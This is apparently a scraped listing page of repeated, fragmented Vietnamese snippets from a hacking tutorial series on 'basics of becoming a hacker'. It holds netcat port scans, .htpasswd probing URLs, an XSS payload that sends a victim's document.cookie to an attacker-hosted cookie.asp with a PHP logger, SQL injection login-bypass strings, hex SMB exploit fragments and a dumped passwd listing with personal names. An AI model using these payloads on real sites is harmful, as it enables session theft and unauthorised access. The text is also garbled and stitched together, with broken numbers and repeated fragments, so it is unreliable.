ngung hieu biet co ban de tro thanh hacker phan 1 Danh mục: An ninh - Bảo mật
... cổng TCP (1- >500) host 17 2 .16 .10 6 .1 CODE [dt@vicki /]# nc -nvv -z 17 2 .16 .10 6 .1 1-500 (UNKNOWN) [17 2 .16 .10 6 .1] 443 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 9 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) open ... (UNKNOWN) [17 2 .16 .10 6 .1] 10 24 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 8 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 7 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 12 3 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) open ... (UNKNOWN) [17 2 .16 .10 6 .1] 80 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 23 (?) open bạn cần scan cổng UDP, dùng -u CODE [dt@vicki /]# nc -u -nvv -z 17 2 .16 .10 6 .1 1-500 (UNKNOWN) [17 2 .16 .10 6 .1] 10 25 (?) open...
Danh mục: An ninh - Bảo mật
... tìm URL sau : http://www.company.com/.htpasswd http://www.company.com/cgi-bin/.htpasswd http://www.company.com/cgi-bin/passwords/.htp%20asswd http://www.company.com/cgi-bin/passwd/.htpass%20wd ... đoạn mã sau vào : CODE document.write(` `) với host_php : địa bạn upload file ăn cắp cookie lên abc.php file VD _ Ví dụ : áp dụng tag img, ta dùng sau: CODE `)\"> hoặc: [CODE img]javascript: ... ``.txt``; $mode = ``r+``; if (!file_exists($file)) $mode = ``w+``; $fp = fopen ($file, $mode); fseek($fp, 0, SEEK_END); fwrite($fp, $myData); fclose($fp); ?> CODE
Danh mục: An ninh - Bảo mật
... south.asinet.com (202 .10 .10 .10 ) 10 69 ms1087 ms 112 2 ms 10 backbone.vsnl.net.in (203.98.46. 01) 10 64 ms 110 9 ms10 61 ms 11 newdelhi- 01. backbone.vsnl.net.in (203 .10 2.46. 01) 11 85 ms 114 6 ms1203 ms 12 newdelhi-00.backbone.vsnl.net.in ... 513 ms isp.net.ny (19 6.23.0.0) 562 ms 596 ms 600 ms 19 6.23.0.25 (19 6.23.0.25) 11 95 ms1204 ms backbone.isp.ny (19 8.87 .12 .11 ) 12 08 ms1 216 ms1233 ms asianet.com (202 .12 .32 .10 ) 12 10 ms1239 ms1 211 ... 203.94 .12 .54 over a maximum of 30 hops abc.netzero.com (232. 61. 41. 2 51) ms ms ms xyz.Netzero.com (232. 61. 41. 0) ms ms ms 232. 61. 41. 10 (232. 61. 41. 2 51) ms 11 ms 13 ms we 21. spectranet.com (19 6. 01. 83 .12 )...
Danh mục: An ninh - Bảo mật
... dàng ) Hacker để lại ``Back Doors``, tức chế cho phép hacker truy nhập trở lại đường bí mật tốn nhiều công sức, việc cài đặt Trojan hay tạo user (đối với tổ chức có nhiều user) Công cụ loại Trojan, ... với mã sau : CODE
Danh mục: An ninh - Bảo mật
... ``\x 41\ x 41\ x 41\ x 41` ` _ Lệnh pwd: đưa thư mục hành Ví dụ : $pwd > cho ta biết vị trí thời ta đâu : /home/level1 _ Các lệnh : cp, mv, rm có nghĩa : copy, move, delete file Ví dụ với lệnh rm (del) ... Service not available, remote server has closed connection 14 05 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận kết nốI cổng 21 7 611 tty3 S 1: 29 gdb /usr/sbin/wu.ftpd 26256 ? S 0:00 ftpd: ... - Login: hi` or 1= 1 Pass: hi` or 1= 1-Nếu không bạn thử tiếp với login pass sau : CODE ` or 1= 1-`` or 1= 1-or 1= 1-` or `a`=`a `` or ``a``=``a `) or (`a`=`a Nếu thành công, bạn login vào mà không...
Danh mục: An ninh - Bảo mật
... 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 ... a2b(`````` 81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46 43 43 41 43 41 43 ... 41 43 41 43 41 41 41 00 00 00 00 00 ``````) # Tạo SMB crud = ( # Yêu cầu SMBnegprot `````` ff 53 4d 42 72 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 00 81...
Danh mục: An ninh - Bảo mật
... cổng TCP (1- > 500) host 17 2 .16 .10 6 .1 CODE [dt@vicki /]# nc -nvv -z 17 2 .16 .10 6 .1 1-500 (UNKNOWN) [17 2 .16 .10 6 .1] 443 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 9 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) ... (UNKNOWN) [17 2 .16 .10 6 .1] 10 24 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 8 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 7 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 12 3 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) open ... (UNKNOWN) [17 2 .16 .10 6 .1] 80 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 23 (?) open bạn cần scan cổng UDP, dùng -u CODE [dt@vicki /]# nc -u -nvv -z 17 2 .16 .10 6 .1 1-500 (UNKNOWN) [17 2 .16 .10 6 .1] 10 25 (?) open...
Danh mục: Kỹ thuật lập trình
... rồI : CODE arif:x :15 69 :10 00:Nguyen Anh Chau:/udd/arif:/bin/ksh arigo:x :15 70 :10 00:Ryan Randolph:/udd/arigo:/bin/ksh aristo:x :15 73 :10 00:To Minh Phuong:/udd/aristo:/bin/ksh armando:x :15 77 :10 00:Armando ... /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX /etc/shadow x Linux 1. 1 /etc/shadow * OSF /1 /etc/passwd[.dir|.pag] ... Huis:/udd/armando:/bin/ksh arn:x :15 82 :10 00:Arn mett:/udd/arn:/bin/ksh arne:x :15 83 :10 00:Pham Quoc Tuan:/udd/arne:/bin/ksh aroon:x :15 85 :10 00:Aroon Thakral:/udd/aroon:/bin/ksh arozine:x :15 86 :10 00: Mogielnicki:/udd/arozine:/bin/bash...
Danh mục: Kỹ thuật lập trình
... south.asinet.com (202 .10 .10 .10 ) 10 69 ms1087 ms 112 2 ms 10 backbone.vsnl.net.in (203.98.46. 01) 10 64 ms 110 9 ms10 61 ms 11 newdelhi- 01. backbone.vsnl.net.in (203 .10 2.46. 01) 11 85 ms 114 6 ms1203 ms 12 newdelhi-00.backbone.vsnl.net.in ... 513 ms isp.net.ny (19 6.23.0.0) 562 ms 596 ms 600 ms 19 6.23.0.25 (19 6.23.0.25) 11 95 ms1204 ms backbone.isp.ny (19 8.87 .12 .11 ) 12 08 ms1 216 ms1233 ms asianet.com (202 .12 .32 .10 ) 12 10 ms1239 ms1 211 ... 203.94 .12 .54 over a maximum of 30 hops abc.netzero.com (232. 61. 41. 2 51) ms ms ms xyz.Netzero.com (232. 61. 41. 0) ms ms ms 232. 61. 41. 10 (232. 61. 41. 2 51) ms 11 ms 13 ms we 21. spectranet.com (19 6. 01. 83 .12 )...
Danh mục: An ninh - Bảo mật
... south.asinet.com (202 .10 .10 .10 ) 10 69 ms1087 ms 112 2 ms 10 backbone.vsnl.net.in (203.98.46. 01) 10 64 ms 110 9 ms10 61 ms 11 newdelhi- 01. backbone.vsnl.net.in (203 .10 2.46. 01) 11 85 ms 114 6 ms1203 ms 12 newdelhi-00.backbone.vsnl.net.in ... 513 ms isp.net.ny (19 6.23.0.0) 562 ms 596 ms 600 ms 19 6.23.0.25 (19 6.23.0.25) 11 95 ms1204 ms backbone.isp.ny (19 8.87 .12 .11 ) 12 08 ms1 216 ms1233 ms asianet.com (202 .12 .32 .10 ) 12 10 ms1239 ms1 211 ... 203.94 .12 .54 over a maximum of 30 hops abc.netzero.com (232. 61. 41. 2 51) ms ms ms xyz.Netzero.com (232. 61. 41. 0) ms ms ms 232. 61. 41. 10 (232. 61. 41. 2 51) ms 11 ms 13 ms we 21. spectranet.com (19 6. 01. 83 .12 )...
Danh mục: An ninh - Bảo mật
... south.asinet.com (202 .10 .10 .10 ) 10 69 ms1087 ms 112 2 ms 10 backbone.vsnl.net.in (203.98.46. 01) 10 64 ms 110 9 ms10 61 ms 11 newdelhi- 01. backbone.vsnl.net.in (203 .10 2.46. 01) 11 85 ms 114 6 ms1203 ms 12 newdelhi-00.backbone.vsnl.net.in ... 513 ms isp.net.ny (19 6.23.0.0) 562 ms 596 ms 600 ms 19 6.23.0.25 (19 6.23.0.25) 11 95 ms1204 ms backbone.isp.ny (19 8.87 .12 .11 ) 12 08 ms1 216 ms1233 ms asianet.com (202 .12 .32 .10 ) 12 10 ms1239 ms1 211 ... 203.94 .12 .54 over a maximum of 30 hops abc.netzero.com (232. 61. 41. 2 51) ms ms ms xyz.Netzero.com (232. 61. 41. 0) ms ms ms 232. 61. 41. 10 (232. 61. 41. 2 51) ms 11 ms 13 ms we 21. spectranet.com (19 6. 01. 83 .12 )...
Danh mục: Tin học văn phòng
... lực rồI : CODE arif :15 69 :10 00:Nguyen Anh Chau:/udd/arif:/bin/ksh arigo :15 70 :10 00:Ryan Randolph:/udd/arigo:/bin/ksh aristo :15 73 :10 00:To Minh Phuong:/udd/aristo:/bin/ksh armando :15 77 :10 00:Armando ... /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX /etc/shadow x Linux 1. 1 /etc/shadow * OSF /1 /etc/passwd[.dir|.pag] ... Huis:/udd/armando:/bin/ksh arn :15 82 :10 00:Arn mett:/udd/arn:/bin/ksh arne :15 83 :10 00ham Quoc Tuan:/udd/arne:/bin/ksh aroon :15 85 :10 00:Aroon Thakral:/udd/aroon:/bin/ksh arozine :15 86 :10 00: Mogielnicki:/udd/arozine:/bin/bash...
Danh mục: An ninh - Bảo mật
... www32.brinkster.com/anhdenday/ascii.zip nghiên cứu + Biến đoạn code nguy hiểm thành lời giải (comment) : Ví dụ hacker nhập vào code bị chặn sau : window.open("địa trang Web ta vừa up file cookie.asp lên /cookie.asp?cookie="+document.cookie) Với đoạn code trình duyệt thi hành đoạn code sau gửi toàn cookie tới cho bạn dạng file txt ... lấy cookie nạn nhân ta làm : http://sitebiloi.com/index.asp?page=window.open("http:// địa trang Web ta vừa up file cookie asp lên /cookie.asp?cookie="+document.cookie) đoạn code...
Danh mục: An ninh - Bảo mật
... cổng TCP (1> 500) host 17 2 .16 .10 6 .1 CODE [dt@vicki /]# nc -nvv -z 17 2 .16 .10 6 .1 1-500 (UNKNOWN) [17 2 .16 .10 6 .1] 443 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 9 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) open ... (UNKNOWN) [17 2 .16 .10 6 .1] 10 24 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 8 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 7 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 12 3 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) open ... (UNKNOWN) [17 2 .16 .10 6 .1] 80 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 23 (?) open bạn cần scan cổng UDP, dùng -u CODE [dt@vicki /]# nc -u -nvv -z 17 2 .16 .10 6 .1 1-500 (UNKNOWN) [17 2 .16 .10 6 .1] 10 25 (?) open...
Danh mục: An ninh - Bảo mật
... 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 ... nhập vào login pass lân lượt sau : - Login: hi' or 1= 1 Pass: hi' or 1= 1-Nếu không bạn thử tiếp với login pass sau : CODE ' or 1= 1-" or 1= 1-or 1= 1-' or 'a'='a " or "a"="a ') or ('a'='a Nếu thành ... a2b(""" 81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46 43 43 41 43 41 43...
Danh mục: An ninh - Bảo mật
... south.asinet.com (202 .10 .10 .10 ) 10 69 ms1087 ms 112 2 ms 10 backbone.vsnl.net.in (203.98.46. 01) 10 64 ms 110 9 ms10 61 ms 11 newdelhi- 01. backbone.vsnl.net.in (203 .10 2.46. 01) 11 85 ms 114 6 ms1203 ms 12 newdelhi-00.backbone.vsnl.net.in ... 513 ms isp.net.ny (19 6.23.0.0) 562 ms 596 ms 600 ms 19 6.23.0.25 (19 6.23.0.25) 11 95 ms1204 ms backbone.isp.ny (19 8.87 .12 .11 ) 12 08 ms1 216 ms1233 ms asianet.com (202 .12 .32 .10 ) 12 10 ms1239 ms1 211 ... 203.94 .12 .54 over a maximum of 30 hops abc.netzero.com (232. 61. 41. 2 51) ms ms ms xyz.Netzero.com (232. 61. 41. 0) ms ms ms 232. 61. 41. 10 (232. 61. 41. 2 51) ms 11 ms 13 ms we 21. spectranet.com (19 6. 01. 83 .12 )...
Danh mục: An ninh - Bảo mật
... 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 ... a2b(`````` 81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46 43 43 41 43 41 43 ... 41 43 41 43 41 41 41 00 00 00 00 00 ``````) # Tạo SMB crud = ( # Yêu cầu SMBnegprot `````` ff 53 4d 42 72 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 00 81...
Danh mục: An ninh - Bảo mật
... cổng TCP (1- >500) host 17 2 .16 .10 6 .1 CODE [dt@vicki /]# nc -nvv -z 17 2 .16 .10 6 .1 1-500 (UNKNOWN) [17 2 .16 .10 6 .1] 443 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 9 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) open ... (UNKNOWN) [17 2 .16 .10 6 .1] 10 24 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 8 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 7 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 12 3 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) open ... (UNKNOWN) [17 2 .16 .10 6 .1] 80 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 23 (?) open bạn cần scan cổng UDP, dùng -u CODE [dt@vicki /]# nc -u -nvv -z 17 2 .16 .10 6 .1 1-500 (UNKNOWN) [17 2 .16 .10 6 .1] 10 25 (?) open...
Danh mục: An ninh - Bảo mật
... (202 .12 .32 .10 ) 12 10 ms1239 ms1 211 ms south.asinet.com (202 .10 .10 .10 ) 10 69 ms1087 ms 112 2 ms 10 backbone.vsnl.net.in (203.98.46. 01) 10 64 ms 110 9 ms10 61 ms 11 newdelhi- 01. backbone.vsnl.net.in (203 .10 2.46. 01) ... TCP (1- > 500) ca host 17 2 .16 .10 6 .1 CODE [dt@vicki /]# nc -nvv -z 17 2 .16 .10 6 .1 1-500 (UNKNOWN) [17 2 .16 .10 6 .1] 443 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 9 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) ... (UNKNOWN) [17 2 .16 .10 6 .1] 10 24 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 8 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 13 7 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 12 3 (?) open (UNKNOWN) [17 2 .16 .10 6 .1] 11 1 (?) open...
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